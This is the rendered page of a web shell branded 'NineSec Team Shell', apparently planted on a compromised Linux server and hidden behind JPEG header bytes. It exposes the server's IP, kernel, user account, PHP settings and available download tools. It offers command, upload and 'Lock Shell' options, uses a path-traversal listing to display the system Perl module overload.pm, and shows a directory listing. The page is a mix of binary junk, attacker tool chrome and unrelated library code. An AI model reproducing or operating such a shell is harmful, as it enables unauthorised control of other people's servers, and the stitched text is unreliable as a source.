�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /etc/ldap/../etckeeper/../../usr/lib/x86_64-linux-gnu/perl-base/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/ldap/../etckeeper/../../usr/lib/x86_64-linux-gnu/perl-base/overload.pm
package overload;

our $VERSION = '1.30';

%ops = (
    with_assign         => "+ - * / % ** << >> x .",
    assign              => "+= -= *= /= %= **= <<= >>= x= .=",
    num_comparison      => "< <= >  >= == !=",
    '3way_comparison'   => "<=> cmp",
    str_comparison      => "lt le gt ge eq ne",
    binary              => '& &= | |= ^ ^= &. &.= |. |.= ^. ^.=',
    unary               => "neg ! ~ ~.",
    mutators            => '++ --',
    func                => "atan2 cos sin exp abs log sqrt int",
    conversion          => 'bool "" 0+ qr',
    iterators           => '<>',
    filetest            => "-X",
    dereferencing       => '${} @{} %{} &{} *{}',
    matching            => '~~',
    special             => 'nomethod fallback =',
);

my %ops_seen;
@ops_seen{ map split(/ /), values %ops } = ();

sub nil {}

sub OVERLOAD {
  $package = shift;
  my %arg = @_;
  my $sub;
  *{$package . "::(("} = \&nil; # Make it findable via fetchmethod.
  for (keys %arg) {
    if ($_ eq 'fallback') {
      for my $sym (*{$package . "::()"}) {
	*$sym = \&nil; # Make it findable via fetchmethod.
	$$sym = $arg{$_};
      }
    } else {
      warnings::warnif("overload arg '$_' is invalid")
        unless exists $ops_seen{$_};
      $sub = $arg{$_};
      if (not ref $sub) {
	$ {$package . "::(" . $_} = $sub;
	$sub = \&nil;
      }
      #print STDERR "Setting '$ {'package'}::\cO$_' to \\&'$sub'.\n";
      *{$package . "::(" . $_} = \&{ $sub };
    }
  }
}

sub import {
  $package = (caller())[0];
  # *{$package . "::OVERLOAD"} = \&OVERLOAD;
  shift;
  $package->overload::OVERLOAD(@_);
}

sub unimport {
  $package = (caller())[0];
  shift;
  *{$package . "::(("} = \&nil;
  for (@_) {
      warnings::warnif("overload arg '$_' is invalid")
        unless exists $ops_seen{$_};
      delete $ {$package . "::"}{$_ eq 'fallback' ? '()' : "(" .$_};
  }
}

sub Overloaded {
  my $package = shift;
  $package = ref $package if ref $package;
  mycan ($package, '()') || mycan ($package, '((');
}

sub ov_method {
  my $globref = shift;
  return undef unless $globref;
  my $sub = \&{*$globref};
  no overloading;
  return $sub if $sub != \&nil;
  return shift->can($ {*$globref});
}

sub OverloadedStringify {
  my $package = shift;
  $package = ref $package if ref $package;
  #$package->can('(""')
  ov_method mycan($package, '(""'), $package
    or ov_method mycan($package, '(0+'), $package
    or ov_method mycan($package, '(bool'), $package
    or ov_method mycan($package, '(nomethod'), $package;
}

sub Method {
  my $package = shift;
  if(ref $package) {
    local $@;
    local $!;
    require Scalar::Util;
    $package = Scalar::Util::blessed($package);
    return undef if !defined $package;
  }
  #my $meth = $package->can('(' . shift);
  ov_method mycan($package, '(' . shift), $package;
  #return $meth if $meth ne \&nil;
  #return $ {*{$meth}};
}

sub AddrRef {
  no overloading;
  "$_[0]";
}

*StrVal = *AddrRef;

sub mycan {				# Real can would leave stubs.
  my ($package, $meth) = @_;

  local $@;
  local $!;
  require mro;

  my $mro = mro::get_linear_isa($package);
  foreach my $p (@$mro) {
    my $fqmeth = $p . q{::} . $meth;
    return \*{$fqmeth} if defined &{$fqmeth};
  }

  return undef;
}

%constants = (
	      'integer'	  =>  0x1000, # HINT_NEW_INTEGER
	      'float'	  =>  0x2000, # HINT_NEW_FLOAT
	      'binary'	  =>  0x4000, # HINT_NEW_BINARY
	      'q'	  =>  0x8000, # HINT_NEW_STRING
	      'qr'	  => 0x10000, # HINT_NEW_RE
	     );

use warnings::register;
sub constant {
  # Arguments: what, sub
  while (@_) {
    if (@_ == 1) {
        warnings::warnif ("Odd number of arguments for overload::constant");
        last;
    }
    elsif (!exists $constants {$_ [0]}) {
        warnings::warnif ("'$_[0]' is not an overloadable type");
    }
    elsif (!ref $_ [1] || "$_[1]" !~ /(^|=)CODE\(0x[0-9a-f]+\)$/) {
        # Can't use C<ref $_[1] eq "CODE"> above as code references can be
        # blessed, and C<ref> would return the package the ref is blessed into.
        if (warnings::enabled) {
            $_ [1] = "undef" unless defined $_ [1];
            warnings::warn ("'$_[1]' is not a code reference");
        }
    }
    else {
        $^H{$_[0]} = $_[1];
        $^H |= $constants{$_[0]};
    }
    shift, shift;
  }
}

sub remove_constant {
  # Arguments: what, sub
  while (@_) {
    delete $^H{$_[0]};
    $^H &= ~ $constants{$_[0]};
    shift, shift;
  }
}

1;

__END__


NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
February 12 2024 9:08:50
root
0755
Carp
--
December 13 2023 9:42:26
root
0755
Exporter
--
December 13 2023 9:42:26
root
0755
File
--
December 13 2023 9:42:26
root
0755
Getopt
--
December 13 2023 9:42:26
root
0755
Hash
--
December 13 2023 9:42:26
root
0755
IO
--
December 13 2023 9:42:26
root
0755
IPC
--
December 13 2023 9:42:26
root
0755
List
--
December 13 2023 9:42:26
root
0755
Scalar
--
December 13 2023 9:42:26
root
0755
Text
--
December 13 2023 9:42:26
root
0755
Tie
--
December 13 2023 9:42:26
root
0755
auto
--
March 06 2020 10:15:57
root
0755
unicore
--
December 13 2023 9:42:26
root
0755
warnings
--
December 13 2023 9:42:26
root
0755
AutoLoader.pm
5.358 KB
November 23 2023 4:02:19
root
0644
Carp.pm
24.793 KB
November 23 2023 4:02:19
root
0644
Config.pm
3.202 KB
November 23 2023 4:02:19
root
0644
Config_git.pl
0.399 KB
November 23 2023 4:02:19
root
0644
Config_heavy.pl
52.96 KB
November 23 2023 4:02:19
root
0644
Cwd.pm
17.243 KB
November 23 2023 4:02:19
root
0644
DynaLoader.pm
10.184 KB
November 23 2023 4:02:19
root
0644
Errno.pm
4.815 KB
November 23 2023 4:02:19
root
0644
Exporter.pm
2.312 KB
November 23 2023 4:02:19
root
0644
Fcntl.pm
2.105 KB
November 23 2023 4:02:19
root
0644
FileHandle.pm
2.062 KB
November 23 2023 4:02:19
root
0644
IO.pm
0.458 KB
November 23 2023 4:02:19
root
0644
POSIX.pm
19.87 KB
November 23 2023 4:02:19
root
0644
SelectSaver.pm
0.336 KB
November 23 2023 4:02:19
root
0644
Socket.pm
13.539 KB
November 23 2023 4:02:19
root
0644
Symbol.pm
2.05 KB
November 23 2023 4:02:19
root
0644
XSLoader.pm
3.874 KB
November 23 2023 4:02:19
root
0644
attributes.pm
2.997 KB
November 23 2023 4:02:19
root
0644
base.pm
8.703 KB
November 23 2023 4:02:19
root
0644
bytes.pm
0.437 KB
November 23 2023 4:02:19
root
0644
bytes_heavy.pl
0.74 KB
November 23 2023 4:02:19
root
0644
constant.pm
5.603 KB
November 23 2023 4:02:19
root
0644
feature.pm
4.702 KB
November 23 2023 4:02:19
root
0644
fields.pm
4.891 KB
November 23 2023 4:02:19
root
0644
integer.pm
0.168 KB
November 23 2023 4:02:19
root
0644
lib.pm
2.23 KB
November 23 2023 4:02:19
root
0644
locale.pm
3.341 KB
November 23 2023 4:02:19
root
0644
overload.pm
4.337 KB
November 23 2023 4:02:19
root
0644
overloading.pm
0.941 KB
November 23 2023 4:02:19
root
0644
parent.pm
0.449 KB
November 23 2023 4:02:19
root
0644
re.pm
8.498 KB
November 23 2023 4:02:19
root
0644
strict.pm
1.568 KB
November 23 2023 4:02:19
root
0644
utf8.pm
0.306 KB
November 23 2023 4:02:19
root
0644
utf8_heavy.pl
26.659 KB
November 23 2023 4:02:19
root
0644
vars.pm
1.121 KB
November 23 2023 4:02:19
root
0644
warnings.pm
25.333 KB
November 23 2023 4:02:19
root
0644

NineSec Team - 2022